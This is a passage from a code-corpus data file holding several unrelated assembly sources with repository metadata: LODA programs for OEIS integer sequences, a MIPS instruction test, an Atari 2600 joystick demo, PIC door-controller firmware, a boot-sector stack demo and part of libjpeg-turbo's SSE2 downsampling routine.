; 1,1,2,1,4,3,1,6,10,4,1,8,21,20,5,1,10,36,56,35,6,1,12,55,120,126,56,7,1,14,78,220,330,252,84,8,1,16,105,364,715,792,462,120,9,1,18,136,560,1365,2002,1716,792,165,10,1,20,171,816,2380,4368,5005,3432,1287,220,11,1,22,210,1140,3876,8568,12376,11440,6435,2002,286,12,1,24,253,1540,5985,15504,27132,31824,24310,11440,3003,364,13,1,26,300,2024,8855,26334,54264,77520,75582
lpb $0
add $1,1
sub $0,$1
lpe
add $1,1
mul $1,2
sub $1,$0
sub $1,1
bin $1,$0
mov $0,$1
| 36.2 | 368 | 0.696133 |
4d1e928bb2474e8da145ccf2ef214ecfdfec391c | 726 | asm | Assembly | programs/oeis/049/A049663.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/049/A049663.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/049/A049663.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A049663: a(n) = (F(6*n+5) - 1)/4, where F=A000045 (the Fibonacci sequence).
; 1,22,399,7164,128557,2306866,41395035,742803768,13329072793,239180506510,4291920044391,77015380292532,1381984925221189,24798713273688874,444994854001178547,7985108658747524976,143286961003454271025,2571180189403429353478,46137956448258274091583,827912035879245504295020,14856278689378160803218781,266585104372927648953643042,4783675600023319520362355979,85839575696046823717568764584,1540328686928819507395875406537,27640076789022704309408188553086,495981053515479858061951518549015,8900018886489614740805719145329188,159704358903297585476440993097376373
mul $0,3
mov $1,2
add $1,$0
seq $1,155110 ; a(n) = 8*Fibonacci(2n+1).
div $1,32
mov $0,$1
| 72.6 | 556 | 0.860882 |
4a97e3a93c7165a8a9b4cac3f37403cadcb83513 | 7,302 | asm | Assembly | P6/data_P6_2/cal_R_same_test54.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6_2/cal_R_same_test54.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6_2/cal_R_same_test54.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | lui $1,46202
ori $1,$1,52255
lui $2,1820
ori $2,$2,14203
lui $3,3763
ori $3,$3,31534
lui $4,36150
ori $4,$4,63390
lui $5,23505
ori $5,$5,45416
lui $6,9974
ori $6,$6,23745
mthi $1
mtlo $2
sec0:
nop
nop
nop
xor $4,$6,$6
sec1:
nop
nop
nor $6,$2,$3
xor $3,$6,$6
sec2:
nop
nop
ori $6,$1,18714
xor $0,$6,$6
sec3:
nop
nop
mfhi $6
xor $2,$6,$6
sec4:
nop
nop
lw $6,4($0)
xor $4,$6,$6
sec5:
nop
slt $6,$3,$2
nop
xor $1,$6,$6
sec6:
nop
sltu $6,$3,$4
subu $6,$3,$4
xor $0,$6,$6
sec7:
nop
xor $6,$4,$4
lui $6,55674
xor $5,$6,$6
sec8:
nop
addu $6,$1,$2
mfhi $6
xor $5,$6,$6
sec9:
nop
and $6,$2,$4
lb $6,9($0)
xor $4,$6,$6
sec10:
nop
sltiu $6,$0,30239
nop
xor $5,$6,$6
sec11:
nop
slti $6,$3,298
slt $6,$4,$2
xor $3,$6,$6
sec12:
nop
lui $6,52593
slti $6,$3,-7069
xor $2,$6,$6
sec13:
nop
andi $6,$3,32963
mflo $6
xor $2,$6,$6
sec14:
nop
ori $6,$2,49680
lbu $6,6($0)
xor $3,$6,$6
sec15:
nop
mfhi $6
nop
xor $2,$6,$6
sec16:
nop
mfhi $6
sltu $6,$1,$3
xor $4,$6,$6
sec17:
nop
mflo $6
lui $6,13904
xor $1,$6,$6
sec18:
nop
mfhi $6
mflo $6
xor $6,$6,$6
sec19:
nop
mfhi $6
lbu $6,3($0)
xor $4,$6,$6
sec20:
nop
lhu $6,8($0)
nop
xor $3,$6,$6
sec21:
nop
lw $6,8($0)
sltu $6,$4,$1
xor $2,$6,$6
sec22:
nop
lbu $6,7($0)
xori $6,$4,3307
xor $1,$6,$6
sec23:
nop
lbu $6,16($0)
mfhi $6
xor $0,$6,$6
sec24:
nop
lbu $6,3($0)
lbu $6,5($0)
xor $0,$6,$6
sec25:
or $6,$4,$1
nop
nop
xor $4,$6,$6
sec26:
addu $6,$4,$4
nop
slt $6,$3,$0
xor $3,$6,$6
sec27:
xor $6,$3,$4
nop
addiu $6,$1,-16104
xor $4,$6,$6
sec28:
or $6,$1,$5
nop
mfhi $6
xor $6,$6,$6
sec29:
xor $6,$2,$4
nop
lb $6,10($0)
xor $4,$6,$6
sec30:
xor $6,$3,$4
nor $6,$4,$3
nop
xor $3,$6,$6
sec31:
or $6,$3,$3
xor $6,$5,$1
sltu $6,$4,$3
xor $4,$6,$6
sec32:
nor $6,$5,$2
sltu $6,$3,$3
xori $6,$2,56501
xor $6,$6,$6
sec33:
nor $6,$1,$1
and $6,$5,$2
mflo $6
xor $4,$6,$6
sec34:
addu $6,$2,$0
xor $6,$3,$3
lhu $6,2($0)
xor $4,$6,$6
sec35:
nor $6,$2,$4
sltiu $6,$3,-9699
nop
xor $0,$6,$6
sec36:
sltu $6,$1,$3
slti $6,$5,-9908
slt $6,$3,$3
xor $3,$6,$6
sec37:
xor $6,$3,$4
ori $6,$4,34924
lui $6,40533
xor $2,$6,$6
sec38:
subu $6,$1,$3
slti $6,$5,-10663
mflo $6
xor $5,$6,$6
sec39:
slt $6,$3,$5
lui $6,18267
lw $6,4($0)
xor $3,$6,$6
sec40:
nor $6,$1,$3
mflo $6
nop
xor $2,$6,$6
sec41:
addu $6,$6,$1
mfhi $6
addu $6,$2,$5
xor $1,$6,$6
sec42:
sltu $6,$3,$0
mflo $6
slti $6,$5,-10416
xor $2,$6,$6
sec43:
xor $6,$2,$3
mflo $6
mflo $6
xor $6,$6,$6
sec44:
and $6,$3,$5
mfhi $6
lhu $6,4($0)
xor $4,$6,$6
sec45:
sltu $6,$6,$5
lbu $6,15($0)
nop
xor $5,$6,$6
sec46:
and $6,$4,$4
lbu $6,6($0)
or $6,$1,$4
xor $2,$6,$6
sec47:
sltu $6,$2,$2
lw $6,0($0)
slti $6,$6,10591
xor $3,$6,$6
sec48:
or $6,$6,$4
lbu $6,7($0)
mflo $6
xor $5,$6,$6
sec49:
or $6,$4,$6
lh $6,6($0)
lhu $6,6($0)
xor $3,$6,$6
sec50:
slti $6,$4,25000
nop
nop
xor $1,$6,$6
sec51:
andi $6,$2,46901
nop
nor $6,$5,$2
xor $1,$6,$6
sec52:
lui $6,28049
nop
sltiu $6,$2,13109
xor $4,$6,$6
sec53:
xori $6,$0,47523
nop
mflo $6
xor $5,$6,$6
sec54:
andi $6,$4,29185
nop
lbu $6,10($0)
xor $4,$6,$6
sec55:
ori $6,$4,37200
subu $6,$1,$1
nop
xor $5,$6,$6
sec56:
addiu $6,$2,-29056
sltu $6,$3,$2
sltu $6,$3,$2
xor $3,$6,$6
sec57:
slti $6,$6,-15603
subu $6,$5,$5
addiu $6,$3,22508
xor $4,$6,$6
sec58:
sltiu $6,$3,13794
slt $6,$0,$4
mflo $6
xor $4,$6,$6
sec59:
addiu $6,$3,-19612
and $6,$2,$3
lw $6,0($0)
xor $5,$6,$6
sec60:
lui $6,8956
lui $6,15303
nop
xor $6,$6,$6
sec61:
lui $6,2132
sltiu $6,$2,-29037
nor $6,$3,$3
xor $4,$6,$6
sec62:
sltiu $6,$5,2563
slti $6,$0,-7244
sltiu $6,$1,32753
xor $4,$6,$6
sec63:
xori $6,$3,60292
addiu $6,$4,-13989
mfhi $6
xor $1,$6,$6
sec64:
andi $6,$1,59465
addiu $6,$6,13609
lhu $6,4($0)
xor $4,$6,$6
sec65:
sltiu $6,$4,12543
mfhi $6
nop
xor $4,$6,$6
sec66:
slti $6,$3,22219
mfhi $6
subu $6,$4,$4
xor $1,$6,$6
sec67:
lui $6,57253
mfhi $6
xori $6,$4,36600
xor $5,$6,$6
sec68:
sltiu $6,$1,485
mfhi $6
mflo $6
xor $4,$6,$6
sec69:
addiu $6,$1,-28197
mflo $6
lhu $6,2($0)
xor $4,$6,$6
sec70:
ori $6,$4,18884
lb $6,2($0)
nop
xor $2,$6,$6
sec71:
lui $6,13146
lh $6,8($0)
sltu $6,$3,$2
xor $2,$6,$6
sec72:
addiu $6,$3,-10659
lw $6,0($0)
ori $6,$4,701
xor $4,$6,$6
sec73:
xori $6,$5,57101
lhu $6,10($0)
mflo $6
xor $4,$6,$6
sec74:
lui $6,38453
lw $6,4($0)
lw $6,4($0)
xor $2,$6,$6
sec75:
mflo $6
nop
nop
xor $3,$6,$6
sec76:
mflo $6
nop
slt $6,$1,$4
xor $4,$6,$6
sec77:
mfhi $6
nop
slti $6,$6,-5500
xor $1,$6,$6
sec78:
mflo $6
nop
mfhi $6
xor $3,$6,$6
sec79:
mfhi $6
nop
lhu $6,14($0)
xor $4,$6,$6
sec80:
mflo $6
sltu $6,$1,$4
nop
xor $2,$6,$6
sec81:
mfhi $6
slt $6,$4,$4
nor $6,$6,$2
xor $6,$6,$6
sec82:
mfhi $6
or $6,$0,$3
xori $6,$6,34503
xor $6,$6,$6
sec83:
mfhi $6
slt $6,$3,$2
mflo $6
xor $4,$6,$6
sec84:
mflo $6
and $6,$6,$0
lb $6,8($0)
xor $1,$6,$6
sec85:
mfhi $6
ori $6,$2,7996
nop
xor $3,$6,$6
sec86:
mfhi $6
xori $6,$5,12668
xor $6,$0,$5
xor $1,$6,$6
sec87:
mflo $6
addiu $6,$1,20358
slti $6,$5,-2106
xor $1,$6,$6
sec88:
mflo $6
slti $6,$5,-8573
mflo $6
xor $1,$6,$6
sec89:
mfhi $6
addiu $6,$4,-26687
lhu $6,0($0)
xor $0,$6,$6
sec90:
mfhi $6
mfhi $6
nop
xor $3,$6,$6
sec91:
mfhi $6
mflo $6
slt $6,$0,$3
xor $3,$6,$6
sec92:
mfhi $6
mflo $6
addiu $6,$3,30577
xor $2,$6,$6
sec93:
mflo $6
mfhi $6
mflo $6
xor $4,$6,$6
sec94:
mflo $6
mfhi $6
lbu $6,12($0)
xor $0,$6,$6
sec95:
mfhi $6
lh $6,16($0)
nop
xor $1,$6,$6
sec96:
mflo $6
lbu $6,4($0)
subu $6,$3,$5
xor $5,$6,$6
sec97:
mfhi $6
lw $6,8($0)
slti $6,$2,-1705
xor $4,$6,$6
sec98:
mfhi $6
lbu $6,12($0)
mflo $6
xor $3,$6,$6
sec99:
mfhi $6
lhu $6,16($0)
lbu $6,4($0)
xor $1,$6,$6
sec100:
lw $6,4($0)
nop
nop
xor $4,$6,$6
sec101:
lw $6,4($0)
nop
or $6,$3,$0
xor $3,$6,$6
sec102:
lw $6,12($0)
nop
addiu $6,$4,-21279
xor $4,$6,$6
sec103:
lw $6,12($0)
nop
mfhi $6
xor $3,$6,$6
sec104:
lw $6,8($0)
nop
lw $6,16($0)
xor $0,$6,$6
sec105:
lhu $6,6($0)
or $6,$4,$0
nop
xor $3,$6,$6
sec106:
lbu $6,1($0)
nor $6,$3,$1
nor $6,$5,$3
xor $1,$6,$6
sec107:
lbu $6,9($0)
and $6,$3,$5
xori $6,$3,55607
xor $6,$6,$6
sec108:
lhu $6,2($0)
nor $6,$4,$3
mflo $6
xor $2,$6,$6
sec109:
lhu $6,10($0)
xor $6,$5,$1
lbu $6,6($0)
xor $4,$6,$6
sec110:
lbu $6,0($0)
sltiu $6,$3,-20886
nop
xor $4,$6,$6
sec111:
lh $6,14($0)
addiu $6,$1,-18469
subu $6,$1,$4
xor $3,$6,$6
sec112:
lhu $6,4($0)
ori $6,$4,41054
xori $6,$0,52259
xor $1,$6,$6
sec113:
lw $6,8($0)
andi $6,$1,4864
mfhi $6
xor $3,$6,$6
sec114:
lbu $6,10($0)
slti $6,$2,-22937
lb $6,7($0)
xor $0,$6,$6
sec115:
lb $6,1($0)
mfhi $6
nop
xor $6,$6,$6
sec116:
lh $6,2($0)
mfhi $6
slt $6,$4,$3
xor $1,$6,$6
sec117:
lh $6,10($0)
mflo $6
sltiu $6,$2,-28661
xor $4,$6,$6
sec118:
lb $6,3($0)
mflo $6
mflo $6
xor $2,$6,$6
sec119:
lbu $6,7($0)
mfhi $6
lhu $6,8($0)
xor $1,$6,$6
sec120:
lh $6,2($0)
lh $6,12($0)
nop
xor $5,$6,$6
sec121:
lhu $6,12($0)
lh $6,14($0)
nor $6,$3,$4
xor $2,$6,$6
sec122:
lw $6,8($0)
lhu $6,2($0)
slti $6,$0,-315
xor $6,$6,$6
sec123:
lbu $6,13($0)
lw $6,4($0)
mflo $6
xor $5,$6,$6
sec124:
lhu $6,2($0)
lh $6,10($0)
lhu $6,12($0)
xor $4,$6,$6
| 11.409375 | 19 | 0.521775 |
daf9ddbd6c32a19589b53048c52243d0ab46fd52 | 4,402 | asm | Assembly | src/07-Input/joystick.asm | HudsonSchumaker/Atari-2600 | 310332a8576e0f36338cb269880a204f0df9cefa | [
"MIT"
] | null | null | null | src/07-Input/joystick.asm | HudsonSchumaker/Atari-2600 | 310332a8576e0f36338cb269880a204f0df9cefa | [
"MIT"
] | null | null | null | src/07-Input/joystick.asm | HudsonSchumaker/Atari-2600 | 310332a8576e0f36338cb269880a204f0df9cefa | [
"MIT"
] | null | null | null | processor 6502
;Include required files with register mapping and macros
include "vcs.h"
include "macro.h"
seg.u Variables
org $80
P0XPos byte ; sprite X coordinate
;Start our ROM code segment starting at $F000.
seg Code
org $F000
Reset:
CLEAN_START ; macro to clean memory and TIA
ldx #$80 ; blue background color
stx COLUBK
ldx #$D0 ; green playfield floor color
stx COLUPF
lda #10
sta P0XPos ; initialize player X coordinate
StartFrame:
lda #2
sta VBLANK ; turn VBLANK on
sta VSYNC ; turn VSYNC on
REPEAT 3
sta WSYNC ; first three VSYNC scanlines
REPEND
lda #0
sta VSYNC ; turn VSYNC off
;Set player horizontal position while in VBLANK
lda P0XPos ; load register A with desired X position
and #$7F ; AND position with $7F to fix range
sta WSYNC ; wait for next scanline
sta HMCLR ; clear old horizontal position values
sec ; set carry flag before subtraction
DivideLoop:
sbc #15 ; subtract 15 from the accumulator
bcs DivideLoop ; loop while carry flag is still set
eor #7 ; adjust the remainder in A between -8 and 7
asl ; shift left by 4, as HMP0 uses only 4 bits
asl
asl
asl
sta HMP0 ; set fine position
sta RESP0 ; reset 15-step brute position
sta WSYNC ; wait for next scanline
sta HMOVE ; apply the fine position offset
;Let the TIA output the remaining 35 lines of VBLANK
REPEAT 35
sta WSYNC
REPEND
lda #0
sta VBLANK ; turn VBLANK off
;Draw the 192 visible scanlines
REPEAT 160
sta WSYNC ; wait for 160 empty scanlines
REPEND
ldy #17 ; counter to draw 17 rows of player0 bitmap
DrawBitmap:
lda P0Bitmap,Y ; load player bitmap slice of data
sta GRP0 ; set graphics for player 0 slice
lda P0Color,Y ; load player color from lookup table
sta COLUP0 ; set color for player 0 slice
sta WSYNC ; wait for next scanline
dey
bne DrawBitmap ; repeat next scanline until finished
lda #0
sta GRP0 ; disable P0 bitmap graphics
lda #$FF ; enable grass playfield
sta PF0
sta PF1
sta PF2
REPEAT 15
sta WSYNC ; wait for remaining 15 empty scanlines
REPEND
lda #0 ; disable grass playfield
sta PF0
sta PF1
sta PF2
;Output 30 more VBLANK overscan lines to complete our frame
Overscan:
lda #2
sta VBLANK ; turn VBLANK on again for overscan
REPEAT 30
sta WSYNC
REPEND
;Joystick input test for P0 up/down/left/right
CheckP0Up:
lda #%00010000
bit SWCHA
bne CheckP0Down
inc P0XPos
CheckP0Down:
lda #%00100000
bit SWCHA
bne CheckP0Left
dec P0XPos
CheckP0Left:
lda #%01000000
bit SWCHA
bne CheckP0Right
dec P0XPos
CheckP0Right:
lda #%10000000
bit SWCHA
bne NoInput
inc P0XPos
NoInput:
; fallback when no input was performed
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Loop to next frame
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
jmp StartFrame
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Lookup table for the player graphics bitmap
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
P0Bitmap:
byte #%00000000
byte #%00010100
byte #%00010100
byte #%00010100
byte #%00010100
byte #%00010100
byte #%00011100
byte #%01011101
byte #%01011101
byte #%01011101
byte #%01011101
byte #%01111111
byte #%00111110
byte #%00010000
byte #%00011100
byte #%00011100
byte #%00011100
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Lookup table for the player colors
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
P0Color:
byte #$00
byte #$F6
byte #$F2
byte #$F2
byte #$F2
byte #$F2
byte #$F2
byte #$C2
byte #$C2
byte #$C2
byte #$C2
byte #$C2
byte #$C2
byte #$3E
byte #$3E
byte #$3E
byte #$24
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Complete ROM size
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org $FFFC
word Reset
word Reset
| 22.120603 | 64 | 0.547478 |
146e92ad8f80b99e9b577e181d14688d2f4bfcdf | 1,026 | asm | Assembly | oeis/279/A279877.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/279/A279877.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/279/A279877.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A279877: Binary representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 213", based on the 5-celled von Neumann neighborhood.
; Submitted by Christian Krause
; 1,10,10,1100,111,111000,1111,11110000,11111,1111100000,111111,111111000000,1111111,11111110000000,11111111,1111111100000000,111111111,111111111000000000,1111111111,11111111110000000000,11111111111,1111111111100000000000,111111111111,111111111111000000000000,1111111111111,11111111111110000000000000,11111111111111,1111111111111100000000000000,111111111111111,111111111111111000000000000000,1111111111111111,11111111111111110000000000000000,11111111111111111,1111111111111111100000000000000000
mov $2,$0
seq $0,282415 ; Binary representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 469", based on the 5-celled von Neumann neighborhood.
cmp $2,2
gcd $2,2
add $0,$2
sub $0,2
| 93.272727 | 494 | 0.841131 |
f83b290686454411a614ae5dc50b96f2d1345666 | 902 | asm | Assembly | src/firmware/Door/NewDayStates.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | 1 | 2019-12-12T09:07:08.000Z | 2019-12-12T09:07:08.000Z | src/firmware/Door/NewDayStates.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | null | null | null | src/firmware/Door/NewDayStates.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | null | null | null | #include "Platform.inc"
#include "FarCalls.inc"
#include "Clock.inc"
#include "SunriseSunset.inc"
#include "Door.inc"
#include "States.inc"
radix decimal
defineDoorState DOOR_STATE_WAIT_NEWDAY
movf doorTodayBcd, W
.setBankFor clockDayBcd
xorwf clockDayBcd, W
btfsc STATUS, Z
returnFromDoorState
movlw DOOR_STATE_NEWDAY
.setBankFor doorState
movwf doorState
returnFromDoorState
defineDoorStateInSameSection DOOR_STATE_NEWDAY
fcall calculateSunriseAndSunset
.setBankFor clockDayBcd
movf clockDayBcd, W
.setBankFor doorTodayBcd
movwf doorTodayBcd
setDoorState DOOR_STATE_NEWDAY_WAITFORSUNEVENTCALCULATIONS
returnFromDoorState
defineDoorStateInSameSection DOOR_STATE_NEWDAY_WAITFORSUNEVENTCALCULATIONS
fcall areSunriseAndSunsetValid
xorlw 0
btfsc STATUS, Z
returnFromDoorState
setDoorState DOOR_STATE_WAIT_SUNRISE
returnFromDoorState
end
| 20.044444 | 75 | 0.815965 |
5d3af354b09f1eb7ed4694123e0b9e7d72b9045a | 726 | asm | Assembly | programs/oeis/315/A315698.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/315/A315698.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/315/A315698.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A315698: Coordination sequence Gal.5.302.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,12,17,23,28,33,39,44,50,56,62,68,73,79,84,89,95,100,106,112,118,124,129,135,140,145,151,156,162,168,174,180,185,191,196,201,207,212,218,224,230,236,241,247,252,257,263,268,274
mov $11,$0
mov $13,$0
add $13,1
lpb $13,1
clr $0,11
mov $0,$11
sub $13,1
sub $0,$13
mul $0,2
add $1,3
mul $0,$1
sub $1,$0
lpb $0,1
mov $0,$2
sub $0,6
div $1,2
add $0,$1
div $0,10
sub $2,$1
mod $2,10
mov $3,$1
mov $1,$2
gcd $3,2
add $3,2
lpe
mov $1,$3
add $1,2
add $12,$1
lpe
mov $1,$12
sub $1,1
| 20.742857 | 181 | 0.596419 |
857290d4ba2a25e98cb8aa120df276b58bcb3cc3 | 893 | asm | Assembly | 04-bootsector-stack/boot_sect_stack.asm | programmerkgit/os-tutorial | 5bc50b24f6b5dd08f122402b67c3bc2c12dffb50 | [
"BSD-3-Clause"
] | null | null | null | 04-bootsector-stack/boot_sect_stack.asm | programmerkgit/os-tutorial | 5bc50b24f6b5dd08f122402b67c3bc2c12dffb50 | [
"BSD-3-Clause"
] | null | null | null | 04-bootsector-stack/boot_sect_stack.asm | programmerkgit/os-tutorial | 5bc50b24f6b5dd08f122402b67c3bc2c12dffb50 | [
"BSD-3-Clause"
] | null | null | null | mov ah, 0x0e ; tty mode
mov bp, 0x8000 ; this is an address far away from 0x7c00 so that we don't get overwritten
mov sp, bp ; if the stack is empty then sp points to bp, sp is tack
push 'AD'
push 'B'
push 'C'
; to show how the stack grows downwards
mov al, [0x7ffe] ; 0x8000 - 2
int 0x10
; however, don't try to access [0x8000] now, because it won't work
; you can only access the stack top so, at this point, only 0x7ffe (look above)
mov al, [0x8000]
int 0x10
; recover our characters using the standard procedure: 'pop'
; We can only pop full words so we need an auxiliary register to manipulate
; the lower byte
pop bx
mov al, bl
int 0x10 ; prints C
pop bx
mov al, bl
int 0x10 ; prints B
pop bx
mov al, bh
int 0x10 ; prints D
mov al, bl
int 0x10 ; prints A
; data that has been pop'd from the stack is garbage now
mov al, [0x8000]
int 0x10
jmp $
times 510-($-$$) db 0
dw 0xaa55
| 19.844444 | 89 | 0.707727 |
68f9aaaa1c257ba32c1a4786c276a7144c48c62c | 310 | asm | Assembly | programs/oeis/021/A021500.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021500.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021500.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021500: Decimal expansion of 1/496.
; 0,0,2,0,1,6,1,2,9,0,3,2,2,5,8,0,6,4,5,1,6,1,2,9,0,3,2,2,5,8,0,6,4,5,1,6,1,2,9,0,3,2,2,5,8,0,6,4,5,1,6,1,2,9,0,3,2,2,5,8,0,6,4,5,1,6,1,2,9,0,3,2,2,5,8,0,6,4,5,1,6,1,2,9,0,3,2,2,5,8,0,6,4,5,1,6,1,2,9
add $0,1
mov $1,10
pow $1,$0
mul $1,5
div $1,2480
mod $1,10
mov $0,$1
| 28.181818 | 199 | 0.541935 |
fec4d8449bb0ad7e8b4a7121c2448c3dc76fc4aa | 7,049 | asm | Assembly | Ouroboros/External/libjpegTurbo/simd/jcsamss2-64.asm | jiangzhu1212/oooii | fc00ff81e74adaafd9c98ba7c055f55d95a36e3b | [
"MIT"
] | null | null | null | Ouroboros/External/libjpegTurbo/simd/jcsamss2-64.asm | jiangzhu1212/oooii | fc00ff81e74adaafd9c98ba7c055f55d95a36e3b | [
"MIT"
] | null | null | null | Ouroboros/External/libjpegTurbo/simd/jcsamss2-64.asm | jiangzhu1212/oooii | fc00ff81e74adaafd9c98ba7c055f55d95a36e3b | [
"MIT"
] | null | null | null | ;
; jcsamss2-64.asm - downsampling (64-bit SSE2)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright 2009 D. R. Commander
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jsimdext.inc"
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 64
;
; Downsample pixel values of a single component.
; This version handles the common case of 2:1 horizontal and 1:1 vertical,
; without smoothing.
;
; GLOBAL(void)
; jsimd_h2v1_downsample_sse2 (JDIMENSION image_width, int max_v_samp_factor,
; JDIMENSION v_samp_factor, JDIMENSION width_blocks,
; JSAMPARRAY input_data, JSAMPARRAY output_data);
;
; r10 = JDIMENSION image_width
; r11 = int max_v_samp_factor
; r12 = JDIMENSION v_samp_factor
; r13 = JDIMENSION width_blocks
; r14 = JSAMPARRAY input_data
; r15 = JSAMPARRAY output_data
align 16
global EXTN(jsimd_h2v1_downsample_sse2)
EXTN(jsimd_h2v1_downsample_sse2):
push rbp
mov rax,rsp
mov rbp,rsp
collect_args
mov rcx, r13
shl rcx,3 ; imul rcx,DCTSIZE (rcx = output_cols)
jz near .return
mov rdx, r10
; -- expand_right_edge
push rcx
shl rcx,1 ; output_cols * 2
sub rcx,rdx
jle short .expand_end
mov rax, r11
test rax,rax
jle short .expand_end
cld
mov rsi, r14 ; input_data
.expandloop:
push rax
push rcx
mov rdi, JSAMPROW [rsi]
add rdi,rdx
mov al, JSAMPLE [rdi-1]
rep stosb
pop rcx
pop rax
add rsi, byte SIZEOF_JSAMPROW
dec rax
jg short .expandloop
.expand_end:
pop rcx ; output_cols
; -- h2v1_downsample
mov rax, r12 ; rowctr
test eax,eax
jle near .return
mov rdx, 0x00010000 ; bias pattern
movd xmm7,edx
pcmpeqw xmm6,xmm6
pshufd xmm7,xmm7,0x00 ; xmm7={0, 1, 0, 1, 0, 1, 0, 1}
psrlw xmm6,BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..}
mov rsi, r14 ; input_data
mov rdi, r15 ; output_data
.rowloop:
push rcx
push rdi
push rsi
mov rsi, JSAMPROW [rsi] ; inptr
mov rdi, JSAMPROW [rdi] ; outptr
cmp rcx, byte SIZEOF_XMMWORD
jae short .columnloop
.columnloop_r8:
movdqa xmm0, XMMWORD [rsi+0*SIZEOF_XMMWORD]
pxor xmm1,xmm1
mov rcx, SIZEOF_XMMWORD
jmp short .downsample
.columnloop:
movdqa xmm0, XMMWORD [rsi+0*SIZEOF_XMMWORD]
movdqa xmm1, XMMWORD [rsi+1*SIZEOF_XMMWORD]
.downsample:
movdqa xmm2,xmm0
movdqa xmm3,xmm1
pand xmm0,xmm6
psrlw xmm2,BYTE_BIT
pand xmm1,xmm6
psrlw xmm3,BYTE_BIT
paddw xmm0,xmm2
paddw xmm1,xmm3
paddw xmm0,xmm7
paddw xmm1,xmm7
psrlw xmm0,1
psrlw xmm1,1
packuswb xmm0,xmm1
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm0
sub rcx, byte SIZEOF_XMMWORD ; outcol
add rsi, byte 2*SIZEOF_XMMWORD ; inptr
add rdi, byte 1*SIZEOF_XMMWORD ; outptr
cmp rcx, byte SIZEOF_XMMWORD
jae short .columnloop
test rcx,rcx
jnz short .columnloop_r8
pop rsi
pop rdi
pop rcx
